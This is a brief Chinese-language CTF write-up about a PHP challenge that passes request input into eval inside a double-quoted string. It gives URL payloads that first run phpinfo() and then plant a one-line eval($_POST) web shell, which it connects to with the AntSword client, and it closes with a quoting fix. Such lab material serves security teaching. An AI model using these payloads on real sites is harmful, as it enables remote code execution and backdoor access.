题目
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
分析
eval
看起来和代码执行有关
$a
使用$_REQUEST存储,意味着$a可以用gpc传递
eval("var_dump($a);");
使用了双引号,意味着,会先计算$a的值(也可以理解为先解析$a)再执行eval函数
利用先计算$a的值再执行eval函数这一特点,通过gpc传递给$a特殊的字符串,经过计算后与原本的var_dump();组合造成拼接效果,形成一个新的字符串,使eval函数执行我们预期的php代码
知识点
单双引号
PHP对于双引号包裹起来的字符串要进行扫描计算,单引号则不管内容如何都会原样输出而不会进行计算。
所以'
比"
执行快
eval()
eval — 把字符串作为PHP代码执行
eval( string $code) : mixed
解法
-
通过拼接执行phpinfo()证明可行
/challenge4.php?hello=);eval(phpinfo()
相当于eval("var_dump();eval(phpinfo());");
-
构造输入使脚本成为小马
/challenge4.php?hello=);eval($_POST[b]
相当于eval("var_dump();eval($_POST[b]);");
-
蚁剑连接
flag
补充
将双引号改为单引号可解决隐患